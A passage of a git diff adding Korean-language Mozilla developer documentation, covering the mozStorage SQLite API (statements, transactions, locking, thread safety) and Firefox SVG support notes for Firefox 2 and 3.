+<p><code>executeStep</code>를 호출할 후에 <a href="/ko/MozIStorageValueArray" title="ko/MozIStorageValueArray">mozIStorageValueArray</a>에서 <strong>적절한 getter 함수를 사용하여</strong> 결과 행의 값을 얻을 수 있습니다(mozIStorageStatement는 mozIStorageValueArray를 구현합니다). 아래의 예제는 <code>getInt32()</code>만 사용하고 있습니다.</p>
+
+<p>값의 형식은 지정한 열의 형식을 반환하는 <code>mozIStorageValueArray.getTypeOfIndex</code>로 구할 수 있습니다. 그러나, 주의하십시오. sqlite는 형식있는 데이터베이스가 아닙니다. 열에 선언한 형식과 무관하게 모든 셀에 아무 형식이나 입력할 수 있습니다. 다른 형식을 요청하면 sqlite는 최선을 다하여 그것을 변환하고 변환이 불가능하면 기본 값으로 처리합니다. 그러므로 형식 오류를 얻을 수 없으며 이상한 데이터 출력을 얻을 수도 있습니다.</p>
+
+<p>C++ 코드는 <code>AsInt32</code>, <code>AsDouble</code>과 같은 함수를 이용할 수도 있는데, 이는 더 편리한 C++ 반환 값으로 값을 반환합니다. 하지만, 색인이 잘못된 경우에도 오류가 발생하지 않으므로 주의하십시오. 다른 오류가 발생하는 것도 불가능한데, sqlite는 사리에 맞지 않는 경우에도 항상 형식을 변환하기 때문입니다.</p>
+
+<p>C++ 예제:</p>
+
+<pre>PRBool hasMoreData;
+while (NS_SUCCEEDED(statement-&gt;ExecuteStep(&amp;hasMoreData)) &amp;&amp; hasMoreData) {
+  PRInt32 value = statement-&gt;AsInt32(0);
+  // use the value...
+}
+</pre>
+
+<p>자바스크립트 예제:</p>
+
+<pre>while (statement.executeStep()) {
+  var value = statement.getInt32(0); // use the correct function!
+  // use the value...
+}
+</pre>
+
+<p><code>mozIStorageStatement.execute()</code>는 구문에서 얻을 데이터가 없는 경우에 편리한 함수입니다. 이는 구문을 한 번 실행하고 초기화합니다. 이는 삽입 구문에 대해 유용한데 코드를 매우 간단하게 하기 때문입니다.</p>
+
+<pre>var statement = mDBConn.createStatement("INSERT INTO my_table VALUES (?1)");
+statement.bindInt32Parameter(52);
+statement.execute();
+</pre>
+
+<p>파일 <img alt="Image:TTRW2.zip">은 데이터베이스에 대하여 SQL SELECT를 실행하는 간단하지만 완전한 자바스크립트입니다.</p>
+
+<h3 id=".EA.B5.AC.EB.AC.B8_.EC.B4.88.EA.B8.B0.ED.99.94" name=".EA.B5.AC.EB.AC.B8_.EC.B4.88.EA.B8.B0.ED.99.94">구문 초기화</h3>
+
+<p>더 이상 사용하지 않는 구문을 초기화하는 것은 중요합니다. 초기화되지 않은 쓰기 구문은 테이블에 잠금을 유지하여 다른 구문이 테이블을 접근하는 것을 막게 됩니다. 초기화되지 않은 읽기 구문은 쓰기를 막게 됩니다.</p>
+
+<p>구문 개체가 해제되면 해당 데이터베이스 구문은 닫힙니다. C++을 사용 중인 경우, 모든 참조가 소멸된다는 것을 알고 있다면 따로 구문을 초기화할 필요가 없습니다. 또한 <code>mozIStorageStatement.execute()</code>를 사용하는 경우에도 따로 구문을 초기화할 필요가 없습니다. 이 함수는 여러분을 대신하여 구문을 초기화합니다. 나머지 경우에는 <code>mozIStorageStatement.reset()</code>를 호출하십시오.</p>
+
+<p>자바스크립트 호출자는 확실하게 구문을 초기화해야 합니다. 특히 예외에 대해서 주의하십시오. 예외가 발생하거나 데이터베이스에 접근하는 것이 불가능해진 경우에도 구문을 초기화하는 것을 확실하게 해야 합니다. 구문 초기화는 비교적 가벼운 작업이고 이미 초기화된 경우에도 아무런 문제가 발생하지 않기 때문에 불필요한 초기화에 대해서 걱정할 필요는 없습니다.</p>
+
+<pre>var statement = connection.createStatement(...);
+try {
+  // use the statement...
+} finally {
+  statement.reset();
+}
+</pre>
+
+<p>C++ 호출자도 같은 일을 해야 합니다. <code><a href="https://dxr.mozilla.org/mozilla-central/source/storage/public/mozStorageHelper.h" rel="custom">storage/public/mozStorageHelper.h</a></code>에는 mozStorageStatementScoper라고 불리우는 유효 영역이 있는 개체가 있는데, 이 개체는 둘러싼 영역을 빠져 나갈 때 주어진 구문이 초기화되는 것을 보장합니다. 가능하면 이 개체를 사용하는 것이 바람직합니다.</p>
+
+<pre>void someClass::someFunction()
+{
+  mozStorageStatementScoper scoper(mStatement)
+  // use the statement
+}
+</pre>
+
+<h2 id=".EC.B5.9C.EC.A2.85_insert_.EC.95.84.EC.9D.B4.EB.94.94" name=".EC.B5.9C.EC.A2.85_insert_.EC.95.84.EC.9D.B4.EB.94.94">최종 insert 아이디</h2>
+
+<p>연결의 <code>lastInsertRowID</code> 속성을 이용하면 데이터베이스의 마지막 <code>INSERT</code> 작업에서 할당한 아이디(rowid)를 구할 수 있습니다.<br>
+ 이는 여러분이 테이블에 <code>INTEGER PRIMARY KEY</code>나 <code>INTEGER PRIMARY KEY AUTOINCREMENT</code>로 지정된 열을 가지고 있을 때 유용한데, 이 경우 SQLite는 여러분이 값을 제공하지 않으면 삽입하는 각 행에 대하여 자동으로 값을 할당합니다. 반환 값은 자바스크립트에서는 <code>number</code> 형식이고 C++에서는 <code>long long</code>입니다.</p>
+
+<p><code>lastInsertRowID</code>를 이용하는 자바스크립트 예제는 다음과 같습니다.</p>
+
+<pre>var sql = "INSERT INTO contacts_table (number_col, name_col) VALUES (?1, ?2)"
+var statement = mDBConn.createStatement(sql);
+    statement.bindUTF8StringParameter(0, number);
+    statement.bindUTF8StringParameter(1, name);
+    statement.execute();
+    statement.reset();
+
+var rowid = mDBConn.lastInsertRowID;
+</pre>
+
+<h2 id=".ED.8A.B8.EB.9E.9C.EC.9E.AD.EC.85.98" name=".ED.8A.B8.EB.9E.9C.EC.9E.AD.EC.85.98">트랜잭션</h2>
+
+<p>mozIStorageConnection는 트랜잭션을 시작하고 끝내는 함수를 가지고 있습니다. 명시적으로 트랜잭션을 사용하지 않으면 각 구문에 대하여 암시적인 트랜잭션이 생성됩니다. 이는 성능과 밀접한 관계가 있습니다. 각 트랜잭션에 대해 부하가 걸리는데 특히 커밋에 대해서 그렇습니다. 그러므로 하나의 행에서 여러 구문을 실행할 때 하나의 트랜잭션으로 처리하면 커다란 성능 향상을 얻을 수 있습니다. 성능에 대한 자세한 정보는 <a href="/ko/Storage/Performance" title="ko/Storage/Performance">Storage:Performance</a>를 참고하십시오.</p>
+
+<p>다른 데이터베이스 시스템과의 주요한 차이점은 sqlite가 중첩 트랜잭션을 지원하지 않는다는 것입니다. 이는 하나의 트랜잭션을 열면 다른 트랜잭션을 열 수 없다는 뜻입니다. <code>mozIStorageConnection.transactionInProgress</code>를 확인하면 현재 진행 중인 트랜잭션이 있는지 알 수 있습니다.</p>
+
+<p>SQL 구문으로 "BEGIN TRANSACTION"과 "END TRANSACTION"을 직접 실행할 수도 있습니다(이는 함수를 호출할 때 연결에서 실행하는 것입니다). 하지만 <code>mozIStorageConnection.beginTransaction</code>와 관련 함수를 사용하는 것이 바람직한데, 트랜잭션의 상태를 연결에 저장하기 때문입니다. 그렇지 않으면 <code>transactionInProgress</code> 속성은 잘못된 값을 갖게 됩니다.</p>
+
+<p>sqlite는 다음과 같은 트랜잭션 형식을 가지고 있습니다.</p>
+
+<ul>
+ <li>mozIStorageConnection.TRANSACTION_DEFERRED: 기본 값. 필요할 때(보통 트랜잭션의 구문을 처음으로 실행할 때) 데이터베이스 잠금을 얻습니다.</li>
+</ul>
+
+<ul>
+ <li>mozIStorageConnection.TRANSACTION_IMMEDIATE: 곧바로 데이터베이스에 대한 읽기 잠금을 얻습니다.</li>
+</ul>
+
+<ul>
+ <li>mozIStorageConnection.TRANSACTION_EXCLUSIVE: 곧바로 데이터베이스에 대한 쓰기 잠금을 얻습니다.</li>
+</ul>
+
+<p>이 트랜잭션의 형식을 <code>mozIStorageConnection.beginTransactionAs</code>로 전달하여 여러분에게 필요한 트랜잭션의 종류를 지정할 수 있습니다. 다른 트랜잭션이 이미 시작되었다면 이 작업은 성공하지 못한다는 것을 잊지 마십시오. 보통 기본 TRANSACTION_DEFERRED 형식으로 충분하며 다른 형식이 필요한 이유를 제대로 알지 못한다면 사용해서는 안됩니다. 더 자세한 정보는 <a class="external" href="http://www.sqlite.org/lang_transaction.html">BEGIN TRANSACTION</a>과 <a class="external" href="http://www.sqlite.org/lockingv3.html">locking</a>에 대한 sqlite 문서를 참고하십시오.</p>
+
+<pre>var ourTransaction = false;
+if (!mDBConn.transactionInProgress) {
+  ourTransaction = true;
+  mDBConn.beginTransactionAs(mDBConn.TRANSACTION_DEFERRED);
+}
+
+// ... use the connection ...
+
+if (ourTransaction)
+  mDBConn.commitTransaction();
+</pre>
+
+<p>C++ 코드에서는 <code><a href="https://dxr.mozilla.org/mozilla-central/source/storage/public/mozStorageHelper.h" rel="custom">storage/public/mozStorageHelper.h</a></code>에 정의된 mozStorageTransaction 도우미 클래스를 사용할 수 있습니다. 이 클래스는 유효 범위에 들어오면 지정한 연결에서 지정한 형식의 트랜잭션을 시작하고 유효 범위를 벗어나면 트랜잭션을 커밋하거나 롤백합니다. 트랜잭션이 이미 진행 중이라면 트랜잭션 도우미 클래스는 어떤 작업도 하지 않습니다.</p>
+
+<p>또한 명시적으로 커밋하는 함수도 가지고 있습니다. 전형적인 용법은 롤백을 기본으로 하는 클래스를 생성하고 나서 처리가 성공하면 명시적으로 트랜잭션을 커밋하는 것입니다.</p>
+
+<pre>nsresult someFunction()
+{
+  // deferred transaction (the default) with rollback on failure
+  mozStorageTransaction transaction(mDBConn, PR_FALSE);
+
+  // ... use the connection ...
+
+  // everything succeeded, now explicitly commit
+  return transaction.Commit();
+}
+</pre>
+
+<h2 id=".EB.8D.B0.EC.9D.B4.ED.84.B0.EB.B2.A0.EC.9D.B4.EC.8A.A4.EB.A5.BC_.EC.86.90.EC.83.81.ED.95.98.EB.8A.94_.EA.B2.BD.EC.9A.B0" name=".EB.8D.B0.EC.9D.B4.ED.84.B0.EB.B2.A0.EC.9D.B4.EC.8A.A4.EB.A5.BC_.EC.86.90.EC.83.81.ED.95.98.EB.8A.94_.EA.B2.BD.EC.9A.B0">데이터베이스를 손상하는 경우</h2>
+
+<ul>
+ <li>다음 문서에서 손상(corruption)에 대한 섹션을 참고하십시오. <a class="external" href="http://www.sqlite.org/lockingv3.html">File locking and concurrency in sqlite version 3</a>.</li>
+</ul>
+
+<ul>
+ <li><code>strcmp</code>로 비교하면 정확하게 같은 이름은 아니지만 실제 동일한 파일로 하나 이상의 연결을 엽니다. "my.db"와 "../dir/my.db" 또는 (대소문자 구별이 없는) 윈도우에서 "my.db"와 "My.db"가 여기에 포함됩니다. Sqlite는 많은 경우를 처리하려고 시도하지만 여러분은 그것에 의존하면 안됩니다.</li>
+</ul>
+
+<ul>
+ <li>심볼릭 링크나 하드 링크로 데이터베이스를 접근합니다.</li>
+</ul>
+
+<ul>
+ <li>하나 이상의 스레드에서 같은 데이터베이스로 연결을 엽니다(아래의 "스레드 안전성" 참고).</li>
+</ul>
+
+<ul>
+ <li>하나 이상의 스레드에서 연결이나 구문을 접근합니다(아래의 "스레드 안전성" 참고).</li>
+</ul>
+
+<ul>
+ <li>데이터베이스가 열려 있는 동안 외부 프로그램에서 데이터베이스를 엽니다. 우리의 캐시는 이 작업을 안전하게 처리할 수 있도록 하는 sqlite의 일반 파일 잠금을 방해합니다.</li>
+</ul>
+
+<h2 id="SQLite_.EC.9E.A0.EA.B8.88" name="SQLite_.EC.9E.A0.EA.B8.88">SQLite 잠금</h2>
+
+<p>SQLite는 전체 데이터베이스를 잠급니다. 즉, 읽기 동작 중인 경우에 쓰기 시도는 SQLITE_BUSY를 반환하고, 쓰기 동작 중인 경우에 읽기 시도는 SQLITE_BUSY를 반환합니다. 구문은 첫 번째 step()부터 reset() 호출 때까지 동작 중인 것으로 간주합니다. execute()는 하나의 실행으로 step()과 reset()을 호출합니다. 흔한 문제는 step()하기를 마친 후에 reset() 구문을 빠뜨리는 것입니다.</p>
+
+<p>주어진 SQLite 연결은 여러 구문을 동시에 열 수 있지만, 잠금 모델은 이 구문들이 동시에 처리할 수 있는 작업(읽기 또는 쓰기)을 제한합니다. 사실 여러 구문이 동시에 읽는 것은 가능합니다. 그러나 여러 구문이 같은 테이블을 동시에 읽고 쓰는 것은 불가능합니다. 이는 같은 연결에서 동작하더라도 마찬가지입니다.</p>
+
+<p>SQLite는 연결 수준과 테이블 수준의 2층 잠금 모델을 가지고 있습니다. 많은 사람들이 연결(데이터베이스) 수준 잠금 모델에 대해서 잘 알고 있습니다. 이는 읽는 작업은 여럿이지만 쓰는 작업은 단 하나입니다. 테이블 수준(B-트리) 잠금은 가끔 헷갈리는 것입니다. (내부적으로 데이터베이스의 각 테이블은 자신의 B-트리를 가지고 있으므로 "테이블"과 "B-트리"는 기술적으로 동의어입니다).</p>
+
+<h3 id=".ED.85.8C.EC.9D.B4.EB.B8.94_.EC.88.98.EC.A4.80_.EC.9E.A0.EA.B8.88" name=".ED.85.8C.EC.9D.B4.EB.B8.94_.EC.88.98.EC.A4.80_.EC.9E.A0.EA.B8.88">테이블 수준 잠금</h3>
+
+<p>하나의 연결만 가지고 있고 그것이 쓰기 작업을 위하여 데이터베이스를 잠궜다면 원하는 작업을 처리하기 위해 여러 구문을 사용할 수 있다고 생각할 지도 모릅니다. 전적으로 그렇지는 않습니다. 여러분은 데이터베이스를 탐색 중인 구문 핸들(예를 들어, 열려 있는 SELECT 구문)이 관리하는 테이블(B-트리) 수준 잠금에 대해서 알아야 합니다.</p>
+
+<p>일반적인 규칙은 다음과 같습니다. 구문 핸들은 다른 구문 핸들이 읽고 있는(열려 있는 커서가 있는) 테이블(B-트리)을 수정하지 <strong>않습니다</strong>. 구문 핸들이 다른 구문 핸들과 같은 연결(트랜잭션 문맥, 데이터베이스 잠금 등)을 공유하더라도 마찬가지입니다. <strong>그러한 작업 시도는 여전히 차단됩니다(즉, SQLITE_BUSY를 반환합니다)</strong>.</p>
+
+<p>이 문제는 하나의 구문으로 테이블을 탐색(iterate)하고 다른 구문으로 그 안의 레코드를 수정하려고 할 때 자주 발생합니다. 이 작업은 제대로 동작하지 않습니다(또는 최적화 수행의 개입에 따라 동작하지 않을 가능성을 수반합니다(아래 참고)). 수정 구문은 차단되는데 읽기 구문이 테이블에 열린 커서를 가지고 있기 때문입니다.</p>
+
+<h3 id=".EC.9E.A0.EA.B8.88_.EB.AC.B8.EC.A0.9C_.ED.94.BC.ED.95.98.EA.B8.B0" name=".EC.9E.A0.EA.B8.88_.EB.AC.B8.EC.A0.9C_.ED.94.BC.ED.95.98.EA.B8.B0">잠금 문제 피하기</h3>
+
+<p>해결책은 위에서 설명한대로 (1)을 따르는 것입니다. 이론적으로 (2)는 SQLite 3.x에서 제대로 동작하지 않습니다. 이 시나리오에서는 여러 개의 연결에 대하여 테이블 잠금과 더불어 데이터베이스 잠금이 역할을 하게 됩니다. 연결 2(수정 연결)는 연결 1(읽기 연결)이 테이터베이스를 읽는 동안 그것을 수정할 수 없습니다. 연결 2는 수정하는 SQL 구문을 실행하기 위하여 배타적인 잠금이 필요한데, 연결 1이 데이터베이스를 읽는 구문을 가지고 있는 한 이를 얻을 수 없습니다(연결 1은 이 때 공유하는 읽기 잠금을 가지고 있는데 이는 다른 연결이 배타적인 잠금을 얻을 수 없도록 합니다).</p>
+
+<p>다른 선택 사항은 임시 테이블을 이용하는 것입니다. 해당 테이블의 결과를 포함한 임시 테이블을 생성하고 (읽기 구문의 테이블 잠금을 임시 테이블에 두면서) 그것을 탐색하십시오. 그러면 수정 구문은 문제 없이 실제 테이블을 바꿀 수 있습니다. 이 작업은 하나의 연결(트랜잭션 문맥)에서 나온 구문으로 수행할 수 있습니다. 이 시나리오는 ORDER BY가 내부적으로 임시 테이블을 생성할 수 있는 것처럼 가끔 보이지 않게 일어나기도 합니다. 그러나 최적화 수행이 모든 경우에 이렇게 할 것이라고 가정하는 것은 안전하지 않습니다. 오직 명시적으로 임시 테이블을 생성하는 것이 후자의 선택 사항을 수행하는 안전한 방법입니다.</p>
+
+<h2 id=".EC.8A.A4.EB.A0.88.EB.93.9C_.EC.95.88.EC.A0.84.EC.84.B1" name=".EC.8A.A4.EB.A0.88.EB.93.9C_.EC.95.88.EC.A0.84.EC.84.B1">스레드 안전성</h2>
+
+<p>mozStorage 서비스와 sqlite는 스레드에 대해 안전합니다. 그러나 다른 mozStorage나 sqlite 개체나 작업은 스레드에 대해 안전하지 않습니다.</p>
+
+<ul>
+ <li>저장소 서비스는 주 스레드에서 생성해야 합니다. 다른 스레드에서 서비스를 접근하려면 주 스레드에서 미리 getService를 호출해야 합니다.</li>
+</ul>
+
+<ul>
+ <li>연결이나 구문을 여러 스레드에서 접근할 수 없습니다. 저장소 개체는 스레드에 대해 안전하지 않으므로 그것의 sqlite 표현 또한 스레드에 대해 안전하지 않습니다. 잠금을 실행하고 한 순간에 하나의 스레드만 작업하는 것을 보장하더라도 문제가 발생할 수 있습니다. 이러한 경우는 테스트를 거치지 않았으며 sqlite에 어떤 내부적인 스레드별 상태가 있을지도 모릅니다. 이렇게 하지 않는 것이 바람직합니다.</li>
+</ul>
+
+<ul>
+ <li>다른 스레드에서 여러 연결로 하나의 데이터베이스를 접근할 수 없습니다. 일반적으로 sqlite는 이를 허용합니다. 그러나, 우리는 <code>sqlite3_enable_shared_cache(1);</code>을 이용하여 여러 연결에서 같은 캐시를 공유하고 있습니다. 이는 성능을 위하여 매우 중요합니다. 그러나 캐시 접근에 잠금이 없어서 하나 이상의 스레드에서 이를 사용하면 문제가 발생합니다.</li>
+</ul>
+
+<p>그러나, 자바스크립트 브라우저 확장 작성자는 처음 보기보다 이 제약의 영향을 덜 받는다는 사실에 주목할 만합니다. 자바스크립트 안에서 배타적으로 데이터베이스가 생성되고 이용되면 보통 스레드 안전성은 문제가 되지 않습니다. SpiderMonkey(파이어팍스의 자바스크립트 엔진)는 자바스크립트가 다른 스레드에서 실행되는 경우나 다른 스레드에서 만든 콜백에서 실행되는 경우를 제외하고 하나의 영구적인 스레드에서 자바스크립트를 실행합니다. 다중 스레드 자바스크립트의 잘못된 사용을 제외하면, 자바스크립트 스레드가 아닌 시스템 수준 스레드가 사용 중인 데이터베이스를 mozStorage를 통해 접근하는 경우에만 문제가 발생합니다.</p>
+
+<h2 id=".EC.B0.B8.EA.B3.A0" name=".EC.B0.B8.EA.B3.A0">참고</h2>
+
+<ul>
+ <li><a href="/ko/MozIStorageConnection" title="ko/MozIStorageConnection">mozIStorageConnection</a> Database connection to a specific file or in-memory data storage</li>
+ <li><a href="/ko/MozIStorageStatement" title="ko/MozIStorageStatement">mozIStorageStatement</a> Create and execute SQL statements on a SQLite database.</li>
+ <li><a href="/ko/MozIStorageValueArray" title="ko/MozIStorageValueArray">mozIStorageValueArray</a> Wraps an array of SQL values, such as a result row.</li>
+ <li><a href="/ko/MozIStorageFunction" title="ko/MozIStorageFunction">mozIStorageFunction</a> Create a new SQLite function.</li>
+ <li><a href="/ko/MozIStorageAggregateFunction" title="ko/MozIStorageAggregateFunction">mozIStorageAggregateFunction</a> Create a new SQLite aggregate function.</li>
+ <li><a href="/ko/MozIStorageProgressHandler" title="ko/MozIStorageProgressHandler">mozIStorageProgressHandler</a> Monitor progress during the execution of a statement.</li>
+ <li><a href="/ko/MozIStorageStatementWrapper" title="ko/MozIStorageStatementWrapper">mozIStorageStatementWrapper</a> Storage statement wrapper</li>
+</ul>
+
+<ul>
+ <li><a href="/ko/Storage/Performance" title="ko/Storage/Performance">Storage:Performance</a> How to get your database connection performing well.</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/3072">Storage Inspector Extension</a> Makes it easy to view any sqlite database files in the current profile.</li>
+ <li><a class="external" href="http://www.sqlite.org/lang.html">SQLite Syntax</a> Query language understood by SQLite</li>
+ <li><a class="external" href="http://sqlitebrowser.sourceforge.net/">SQLite Database Browser</a> is a capable free tool available for many platforms. It can be handy for examining existing databases and testing SQL statements.</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/5817">SQLite Manager Extension</a> helps manage sqlite database files on your computer.</li>
+</ul>
diff --git a/files/ko/svg_improvements_in_firefox_3/index.html b/files/ko/svg_improvements_in_firefox_3/index.html
new file mode 100644
index 0000000000..e64f1600bc
--- /dev/null
+++ b/files/ko/svg_improvements_in_firefox_3/index.html
@@ -0,0 +1,56 @@
+---
+title: SVG improvements in Firefox 3
+slug: SVG_improvements_in_Firefox_3
+tags:
+  - Firefox 3
+  - SVG
+translation_of: Mozilla/Firefox/Releases/3/SVG_improvements
+---
+<p>{{ Fx_minversion_header(3) }}</p>
+<p>Firefox 3에서는 이전 버전에 비해 <a href="ko/SVG">Scalable Vector Graphics</a> (SVG)에 대한 향상된 지원을 제공합니다. 이러한 내용은 다른 곳에서도 문서화되어 있지만, Firefox 3에서 어떤 기능들이 추가되었는지 쉽게 찾아볼 수 있도록 본 글이 작성되었습니다.</p>
+<ul>
+ <li><code>foreignObject</code> 요소를 지원합니다({{ Bug(326966) }}). 자세한 사항은 <a class="external" href="http://www.w3.org/TR/SVG11/extend.html#ForeignObjectElement">명세서</a> 또는 <a class="external" href="http://weblogs.mozillazine.org/roc/archives/2006/06/the_future_is_now.html">이 기사</a>를 참조하세요.</li>
+ <li><code>pattern</code> 요소를 지원합니다. (<a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#PatternElement">spec</a>)</li>
+ <li><code>mask</code> 요소를 지원합니다. (<a class="external" href="http://www.w3.org/TR/SVG11/masking.html#MaskElement">spec</a>)</li>
+ <li>다음의 모든 SVG 1.1 필터를 지원합니다 (<a class="external" href="http://www.w3.org/TR/SVG11/filters.html">spec</a>):
+  <ul>
+   <li><code>filter</code></li>
+   <li><code>feDistantLight</code></li>
+   <li><code>fePointLight</code></li>
+   <li><code>feSpotLight</code></li>
+   <li><code>feBlend</code></li>
+   <li><code>feColorMatrix</code></li>
+   <li><code>feConvolveMatrix</code></li>
+   <li><code>feComponentTransfer</code>, <code>feFuncR</code>, <code>feFuncG</code>, <code>feFuncB</code>, <code>feFuncA</code></li>
+   <li><code>feComposite</code></li>
+   <li><code>feConvolveMatrix</code></li>
+   <li><code>feDiffuseLighting</code></li>
+   <li><code>feDisplacementMap</code></li>
+   <li><code>feDistantLight</code></li>
+   <li><code>feFlood</code></li>
+   <li><code>feGaussianBlur</code></li>
+   <li><code>feImage</code></li>
+   <li><code>feMerge</code>, <code>feMergeNode</code></li>
+   <li><code>feMorphology</code></li>
+   <li><code>feOffset</code></li>
+   <li><code>fePointLight</code></li>
+   <li><code>feSpecularLighting</code></li>
+   <li><code>feTurbulence</code></li>
+   <li><code>feTile</code></li>
+  </ul>
+ </li>
+ <li>SVG에서 <code>&lt;a&gt;</code> 요소를 처리하는 것과 관련된 몇가지 버그가 수정되었습니다. 자세한 사항은 {{ Bug(267664) }}, {{ Bug(268135) }}, {{ Bug(316248) }}, {{ Bug(317270) }}, {{ Bug(320724) }}를 참조하세요.</li>
+ <li>SVG DOM 메소드인 <code>getNumberOfChars()</code>, <code>getComputedTextLength()</code>, <code>getSubStringLength()</code>, <code>getStartPositionOfChar()</code>, <code>getEndPositionOfChar()</code>, <code>getRotationOfChar()</code>, <code>getCharNumAtPosition()</code>가 구현되었습니다.</li>
+ <li><code>xml:space</code> 속성을 지원합니다. (<a class="external" href="http://www.w3.org/TR/SVG/text.html#WhiteSpace">spec</a>)</li>
+ <li><code>fill</code>/<code>stroke</code>를 지원합니다. (<a class="external" href="http://www.w3.org/TR/SVG/painting.html#SpecifyingPaint">spec</a>)</li>
+ <li>길이 단위로 사용되는 <code>em</code>과 <code>ex</code> 단위를 지원합니다. ({{ Bug(305859) }}).</li>
+</ul>
+<h3 id=".EC.B0.B8.EA.B3.A0" name=".EC.B0.B8.EA.B3.A0">참고</h3>
+<ul>
+ <li><a href="ko/SVG">SVG</a></li>
+ <li><a href="ko/SVG_in_Firefox">SVG in Firefox</a></li>
+ <li><a href="ko/Firefox_3_for_developers">Firefox 3 for developers</a></li>
+</ul>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/SVG_improvements_in_Firefox_3", "es": "es/Mejoras_SVG_en_Firefox_3", "fr": "fr/Am\u00e9liorations_SVG_dans_Firefox_3", "ja": "ja/SVG_improvements_in_Firefox_3", "pl": "pl/Poprawki_SVG_w_Firefoksie_3" } ) }}</p>
diff --git a/files/ko/svg_in_firefox/index.html b/files/ko/svg_in_firefox/index.html
new file mode 100644
index 0000000000..f8c31a2a8c
--- /dev/null
+++ b/files/ko/svg_in_firefox/index.html
@@ -0,0 +1,845 @@
+---
+title: SVG in Firefox
+slug: SVG_in_Firefox
+tags:
+  - SVG
+translation_of: Web/SVG/SVG_1.1_Support_in_Firefox
+---
+<p>Firefox 2는 더욱 폭넓은 <a class="external" href="http://www.w3.org/Graphics/SVG/">Scalable Vector Graphics (SVG)</a> 기능 구현을 위해서 계속해서 향상시켜 나가고 있습니다. 많은 스펙과 버그 수정들이 포함되었지만 Firefox 1.5이후 새로이 추가된 유일한 특징이 바로 &lt;textPath&gt;입니다. -- 아래 참조.</p>
+<p>Firefox SVG는 <a class="external" href="http://www.w3.org/TR/SVG11/">SVG 1.1</a>의 부분집합이지만 그렇다고 공식 프로필(Tiny, Basic, Full)들중 어느 것도 아닙니다. 각 내용들과 그것들이 Firefox 2에서 구현되었는지 아닌지에 대한 전체 내용은 문서의 마지막에서 찾을 수 있습니다. 문서의 나머지 부분은 우리의 구현상 제약사항들에 대한 정보를 제공할 것입니다.</p>
+<p>우리들의 구현의 특이한 점들이 컨텐츠를 개발함에 있어서 번거로울 수도 있다는 것을 알고 있습니다. 하지만 커다란 스펙의 완전한 구현이 될 때까지 여러분의 인내를 부탁드립니다.</p>
+<p>이 문서를 읽을때 이들 구현들의 세부사항들이 언제 바뀔지 궁금해할지도 모릅니다. 불행히도 <a class="external" href="http://www.mozilla.org/roadmap/gecko-1.9-roadmap.html">현재 로드맵</a>에 따르면 Gecko의 다음 버전에 기반한 Firefox의 공식 출시일이 꽤 나중이 되겠지만 2007년 1/4분기라고 나와있습니다. 그러나 새로운 기능을 시험해보고 싶다면 현재 개발중인 <a class="external" href="http://www.mozilla.org/developer/#builds">nightly builds</a>를 사용해볼 수 있습니다.</p>
+<h2 id=".EC.84.B1.EB.8A.A5" name=".EC.84.B1.EB.8A.A5">성능</h2>
+<p>Firefox가 출시하는 모든 플랫폼은 같은 렌더링 백엔드 <a class="external" href="http://cairographics.org/">cairo</a>를 사용합니다. 그래서 이들 간에 성능에 관한 특징은 일반적으로 유사할 것입니다. Linux에서의 성능은 예측하기가 가장 힘든데 이는 다양한 X서버마다 RENDER 확장의 구현이 다양하기 때문입니다.</p>
+<p>Windows에서 SVG 렌더링은 다른 플랫폼상에서 보다도 상당히 빠릅니다.</p>
+<h2 id=".EC.A2.8C.ED.91.9C_.EB.B2.94.EC.9C.84" name=".EC.A2.8C.ED.91.9C_.EB.B2.94.EC.9C.84">좌표 범위</h2>
+<p>당신의 컨텐츠가 상당히 넓은 범위의 좌표를 가지는 구조를 가지고 있다면 cairo가 내부적으로 계산할 때 수를 16.16비트의 고정 소수점 표현 방식을 사용하기 때문에 발생할 수 있는 문제점들에 대해서 주의 깊게 고려해야 합니다. Cairo는 rasterization하기 전에 primitives들에 대한 클리핑을 하지 않기 때문에 변환과정 후 최종적으로 -32678에서 32677의 범위를 벗어나는 좌표들에 대해서는 렌더링 오류나 아주 느린 성능을 보여주기도 합니다.</p>
+<h2 id="Windows_98.EC.97.90.EC.84.9C.EC.9D.98_Text" name="Windows_98.EC.97.90.EC.84.9C.EC.9D.98_Text">Windows 98에서의 Text</h2>
+<p>안타깝게도 윈도우즈에서 cairo를 렌더링 엔진으로 사용한다면 Windows 98에서 텍스트 렌더링이 되지않는 버그가 있다. 사실, 그것보다 더 심각한 문제가 있다 : SVG 컨텐츠를 렌더링하는 도중에 텍스트를 만나면 모든 그리기 기능이 정지되어버리는 것이다.</p>
+<h2 id=".ED.8F.B0.ED.8A.B8_.EC.84.A0.ED.83.9D" name=".ED.8F.B0.ED.8A.B8_.EC.84.A0.ED.83.9D">폰트 선택</h2>
+<p>CSS에 익숙하다면 특정 폰트에서 들어있지 않은 기호들의 경우 폰트 속성에서 예비 폰트들을 지정할수 있다는 것을 알고 있을 것입니다. 현재 SVG 렌더링 백엔드는 단지 지정된 첫번째 폰트를 사용하도록 시도하며 만약 그 폰트가 없다면 플랫폼의 폰트를 사용하게 됩니다. 예비 폰트는 사용되지 않습니다; 그래서 예를 들면 <code>font-family="Arial,LucidaSansUnicode"</code> 이 코드는 Arial 폰트를 사용할 수 없는 경우 LucidaSansUnicode가 사용되게끔 하는 것은 아닙니다.</p>
+<h2 id=".EC.9D.B8.EC.87.84" name=".EC.9D.B8.EC.87.84">인쇄</h2>
+<p>아쉽지만 현재 인쇄는 SVG의 벡터 속성을 이용해서 매우 선명하게 출력해내도록 하는 부분은 완료되지 않았습니다. 하지만 화면 해상도정도로 그려져서 그 이미지처럼 출력됩니다.</p>
+<p>Windows상에서 출력했을 때 폰트의 크기는 SVG에서 지정된 것보다도 훨씬 크게 출력됩니다.</p>
+<h2 id=".EA.B7.B8.EB.A3.B9_opacity" name=".EA.B7.B8.EB.A3.B9_opacity">그룹 opacity</h2>
+<p>그룹 opacity 속성인 <code>opacity</code>는 SVG 컨테이너 객체들을 부분적으로는 투명한 레이어로 다루어질 수 있도록 해주며, <code>fill-opacity</code>나 <code>stroke-opacity</code>들과는 독립적인 속성입니다. 현재 <code>opacity</code>의 구현은 꽤 느려서, 참으면서 사용을 해야할 겁니다. <code>fill-opacity</code>와 <code>stroke-opacity</code>는 훨씬 빠르며 컨텐츠에 따라서 같은 결과를 만들어 낼 수도 있습니다.</p>
